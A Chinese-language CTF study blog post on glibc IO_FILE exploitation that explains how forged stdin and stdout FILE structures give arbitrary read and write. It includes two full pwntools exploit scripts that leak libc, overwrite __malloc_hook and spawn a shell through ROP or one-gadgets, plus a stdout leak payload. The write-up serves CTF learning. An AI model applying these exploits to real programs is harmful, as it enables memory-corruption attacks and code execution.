记录一下IO_FILE的学习。之前都是零散的看到题目做题,不会了复现别人的做法。现在把新旧版本的IO_FILE利用方法整合一下。本篇文章主要关注 劫持IO_FILE任意读写(泄露libc、任意写)
IO_FILE
IO_FILE应该算是比较重要的一种攻击。和堆、栈不同,IO_FILE攻击的是打开文件/关闭文件的操作。由于ctf题目往往会关闭至少是二进制文件(return、exit等都会关闭文件)因此IO_FILE的触发可以说是必然的。同时,在高版本libc中,没有了hook函数,往往也就是利用IO_FILE完成攻击。此外,对于stdin和stdout的操作还能控制程序任意读写内存。
攻击面
劫持IO_FILE任意读写(泄露libc、任意写)
劫持chain字段:house of orange(FSOP)
house of pig
exit_hook
stdin任意地址写
参考的是https://ray-cp.github.io/archivers/IO_FILE_arbitrary_read_write附件也在这位师傅博客中
在linux中,内核会为文件分配输入输出指针。如下所示。
read_base和read_end表示读取的开始和结尾,read_ptr表示读取的当前位置。注意到这里三者都是相等的,为什么呢?因为程序一开始的setvbuf所做的就是设置输入输出缓冲区。一旦设置为0,那么base和end就会相等,每一次的输入输出,就不会被缓冲。
如果能够修改stdin的write_base的位置,是否就能任意地址写,同样的,修改stdout的read_base位置,是否就能实现任意地址读呢?答案是肯定的。
按照ray-cp师傅的博客,简单分析一下源码
在fread
源码中,首先调用如下函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| _IO_size_t _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n) { ... if (fp->_IO_buf_base == NULL) { ... }
while (want > 0) {
have = fp->_IO_read_end - fp->_IO_read_ptr; if (have > 0) { ... }
if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) { if (__underflow (fp) == EOF) ... } ... return n - want; }
|
可以看到fread首先判断缓冲区_IO_buf_base
是否为空,如果是就调用_IO_doallocbuf
初始化缓冲区。接着拿到want,也就是我们想要写入的字符数量,和have,我们剩余的缓冲区作比较(这里个人感觉类似linux管道)如果还有没写完的,就调用memcopy
否则说明缓冲区内的数据不够,那么调用__underflow
读入数据到缓冲区,再复制。
这里我们看到,最好设置_IO_read_end -_IO_read_ptr =0
,这样能够实现立即写。
再来看看__IO_underflow
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| int _IO_new_file_underflow (_IO_FILE *fp) { _IO_ssize_t count; ... if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; ...
count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); ...
} libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
|
underflow的目的是读取数据。首先检查目标文件是否可读,也就是与上标志为。在linux中,这个标志位的值是4
因此我们要确保fp->flags&4==0
也就是文件可读。
接着如果想调用_IO_SYSREAD
真正调用输入,需要确保绕过前面的if检验。由于之前已经设置_IO_read_end -_IO_read_ptr =0
这里可以直接到系统调用。
注意这里系统调用的参数:IO_buf_base
需要设置为write_start
,IO_buf_end
为write_end
。并且要求_IO_buf_end-_IO_buf_base
大于fread要读的数据数量。并且_fileno
=0,表示标准输入。
总结一下要求
设置_IO_read_end
等于_IO_read_ptr
。
设置_flag &~ _IO_NO_READS
即_flag &~ 0x4
。
设置_fileno
为0。
设置_IO_buf_base
为write_start
,_IO_buf_end
为write_end
;且使得_IO_buf_end-_IO_buf_base
大于fread要读的数据
例子
例子是whctf2017的stackoverflow
1 2 3 4 5 6 7
| ➜ whctf2018-stkof checksec ./stackoverflow [*] Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
可以看到有canary保护。
输入name地方如下。直接尝试输入0x50字符是泄露不出来的,这里是因为没有经过初始化,栈上有有用数据完成的泄露(我还是太菜了,这都没想到)
1 2 3 4 5 6
| io.recvuntil('leave your name, bro:') io.send(b'a'*0x8) libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print("libc_info: " + hex(libc_info)) libc_base = libc_info - 0x07dd52 print("libc_base: " + hex(libc_base))
|
主函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| __int64 main_func() { int size; int temp; void *ptr; unsigned __int64 v4;
v4 = __readfsqword(0x28u); printf("please input the size to trigger stackoverflow: "); _isoc99_scanf("%d", &size); IO_getc(stdin); temp = size; while ( size > 0x300000 ) { puts("too much bytes to do stackoverflow."); printf("please input the size to trigger stackoverflow: "); _isoc99_scanf("%d", &size); IO_getc(stdin); } ptr = malloc(0x28uLL); global_ptr = (__int64)malloc(size + 1); if ( !global_ptr ) { printf("Error!"); exit(0); } printf("padding and ropchain: "); input_data((char *)global_ptr, size); *(_BYTE *)(global_ptr + temp) = 0; return 0LL; }
|
限制size<0x300000,但是并不能防止mmap攻击(大小为0x200000)。可以看到程序中多分配了一位(__int64)malloc(size + 1)
之后最后一位写成了0,乍一看似乎没有什么漏洞。但是注意最后写0用的是temp,而一开始我们可以把temp写的很大,从而堆将mmap到libc之前,这样就造成了一个\x00
的libc任意地址写。但是由于没有free,直接off-by-null也有困难。这里尝试劫持IO_FILE。
劫持之前先看一下未修改时IO_FILE结构
对照条件,发现条件1,条件2,条件3都已经满足,只需要用\x00来修改write_start和write_end即可。但是只能增加\x00字节,并且hook都不是以\x00结尾的,怎么修改呢?
这里也是比较巧妙,因为IO_buf_end恰好是在00开头的位置,如下图所示。
我们可以尝试劫持_IO_buf_base,末尾写\x00,那么base就变成了end,我们就可以操作end,将其修改为__malloc_hook+0x8
即可。(由于程序中没有free,写不了free_hook)下图为我们成功写入的操作。
之后一次写,是从_IO_buf_end开始往后写。但是直接覆盖非常容易破坏stdin结构,这里我们伪造一个file结构体(没想到这个pwntools也集成了)
需要注意的是,只有当_IO_read_ptr=IO_read_end的时候,才会写到我们为在的buf_base中。然而在调试程序的时候发现:如果不清空缓冲,直接写会导致我们的伪造file写到堆中!
因此需要清空缓冲区。在源码中,每次输入换行符的时候会fflish一次缓冲区。根据调试看到每次输入后,会有8byte的read buffer,因此在rop输入的时候,连续输入八次加上换行符即可
1 2
| for i in range(0,8): io.sendline('a')
|
然而我们还不能直接写og,因为这里没有能触发的。。只能尝试rop,会想到这道题题目是rop,只能说设计的太巧妙了。通过调试找到rop的偏移之后得到shell。最后这个ROP真的难找。
exp
这里很奇怪,第71行必须要进入gdb一次之后按q退出才能有shell,大概是改了输入输出流的原因。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| from pwn import * filename="./stackoverflow" libc_name="./libc-2.24.so" io = process(filename) context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux','split','-hp','60'] context.arch="amd64"
def debug(): cmd="" cmd+="b *0x400a23\n" gdb.attach(io,cmd)
io.recvuntil('leave your name, bro:') io.send(b'a'*0x8) libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print("libc_info: " + hex(libc_info)) libc_base = libc_info - 0x07dd52 print("libc_base: " + hex(libc_base)) malloc_hook = libc_base + libc.symbols['__malloc_hook'] io_stdin=libc_base+libc.symbols['_IO_2_1_stdin_'] io_stdin_end=libc_base+libc.symbols['_IO_2_1_stdin_']+0xe0+0x10 io_buf_base=io_stdin+7*8 io_buf_end=io_buf_base+8
io.recvuntil('trigger stackoverflow:') io.sendline(str(0x6c28e8)) io.recvuntil('stackoverflow:') io.sendline(str(0x300000)) io.recvuntil('ropchain:') io.sendline(b'a'*8)
io.recvuntil('trigger stackoverflow:') io.send(p64(malloc_hook+0x8))
io.recvuntil('ropchain:') for i in range(0,8): io.sendline('a')
io_file_jumps=libc_base+libc.symbols['_IO_file_jumps'] binsh_addr=libc_base+next(libc.search(b"/bin/sh\x00")) system_addr=libc_base+libc.symbols['system'] lock_addr=libc_base+0x3c3770
fake_file=FileStructure(null=0xdeadbeef) fake_file._old_offset= 0xffffffffffffffff fake_file._lock= lock_addr fake_file._IO_buf_end=malloc_hook+8 fake_file.vtable=io_file_jumps print("fake file:") print(str(fake_file)) file_data=bytes(fake_file)
begin = fake_file.struntil('_IO_buf_base') payload = file_data[len(begin)+1:] print(payload) payload=payload.ljust(malloc_hook-io_buf_end,b'\x00') payload+=p64(0x400a23)*2
debug() io.recvuntil('trigger stackoverflow:')
io.send(payload)
prdi_ret=0x0000000000400b43 payload=b'a'*8+p64(prdi_ret)+p64(binsh_addr)+p64(system_addr) io.send(payload)
io.interactive()
|
劫持stdout任意地址读写
之前劫持stdin时,只能进行写,这是因为stdin只能做输入数据到缓冲区。但是stdout既可以读也可以写。读很好理解,可以写的原因是:构造好输出缓冲区将其改为想要任意写的地址,当输出数据可控时,会将数据拷贝至输出缓冲区,即实现了将可控数据拷贝至我们想要写的地址
任意读
这个其实在泄露libc的题目中经常用到,一般也不会用来泄露别的数据。原理方面不深究了,记住payload:
1 2
| payload = p64(0xfbad1800) + p64(0)*3 + '\x00'
|
其实主要思路就是修改stdout的flag位为0xfbad1800,并且将_IO_write_base的最后一个字节改小,从而实现多输出一些内容,这些内容里面就包含了libc地址
任意写
在fwrite中,将会调用_IO_new_file_xsputn
,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| _IO_size_t _IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n) { ... else if (f->_IO_write_end > f->_IO_write_ptr) count = f->_IO_write_end - f->_IO_write_ptr;
if (count > 0) { ... memcpy (f->_IO_write_ptr, s, count);
|
可以看出如果我们能控制缓冲区指针,就可以随意写。只需将_IO_write_ptr
指向write_start
,_IO_write_end
指向write_end
即可
例子
这里还是跟着ray-cp师傅博客
完成例子。题目和脚本都在这位师傅博客上。
程序直接给了我们读写stdout的能力,实际上完全就是这里学到的stdout任意读写的利用。程序会对vatble跳表指针做检测,因此无法FSOP。因此我们的思路是
- 首先写stdout来泄露libc
- 写stdout实现任意地址写
这里注意,不能改got表和exit_hook因为程序是full_relro,并且没有exit。因此只能改malloc_hook然后通过printf很大数据来触发。但是这里og尝试了很多也没有能跑出来的,网上是0x4f322,但是本地测试的不行。虽然没有打通,但是也算是学到了吧。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from pwn import * filename="./babyprintf_ver2" libc_name="./libc64.so" io = process(filename) context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux','split','-hp','60'] context.arch = "amd64"
def debug(): cmd = "" cmd+="b malloc\n" gdb.attach(io,cmd)
io.recvline() io.recvline() code_info = int(io.recvuntil('\n')[-13:-1],16) success("code_info: " + hex(code_info)) code_base = code_info - 0x202010 success("code_base: " + hex(code_base))
stdout_addr = code_base + 0x202020 fake_stdout = FileStructure(null=0xdeadbeef) flag=0 flag&=~8 flag|=0x800 flag|=0x8000 fake_stdout.flags = flag fake_stdout._IO_write_base = code_base + elf.got['read'] fake_stdout._IO_write_ptr = code_base + elf.got['read']+8 fake_stdout._IO_read_end = fake_stdout._IO_write_base fake_stdout.fileno = 1 payload = b"a"*0x10 payload+=p64(stdout_addr+8) payload+=bytes(fake_stdout) print(fake_stdout) print(payload) io.sendline(payload)
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) success("libc_info: " + hex(libc_info)) libc_base = libc_info - libc.symbols['read'] success("libc_base: " + hex(libc_base))
og = [0x4f2c5,0x4f322,0x10a38c,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863] payload3 = p64(og[3] + libc_base)
fake_stdout2 = FileStructure(null=0xdeadbeef) flag=0 flag&=~8 flag|=0x800 flag|=0x8000 fake_stdout2.flags = flag fake_stdout2._IO_write_ptr = libc.symbols['__malloc_hook'] + libc_base fake_stdout2._IO_write_end = libc.symbols['__malloc_hook'] + libc_base + 8
fake_stdout2.fileno = 1 payload2 = payload3*2 payload2+=p64(stdout_addr+8) payload2+=bytes(fake_stdout2) print(fake_stdout2) io.sendline(payload2)
debug() io.recvuntil('permitted!\n')
payload4 = "a"*0x500
io.sendline("%n")
io.interactive()
|
总结
stdin任意读条件
stdout任意读条件
stdout任意写条件
注意伪造stdout的flag位时,最好按照上面第二个exp伪造。
1 2 3 4 5
| flag=0 flag&=~8 flag|=0x800 flag|=0x8000 fake_stdout2.flags = flag
|
参考文章
https://www.bilibili.com/video/BV1yK4y197Fg
https://ray-cp.github.io/archivers/IO_FILE_arbitrary_read_write
https://n0va-scy.github.io/2019/09/21/IO_FILE/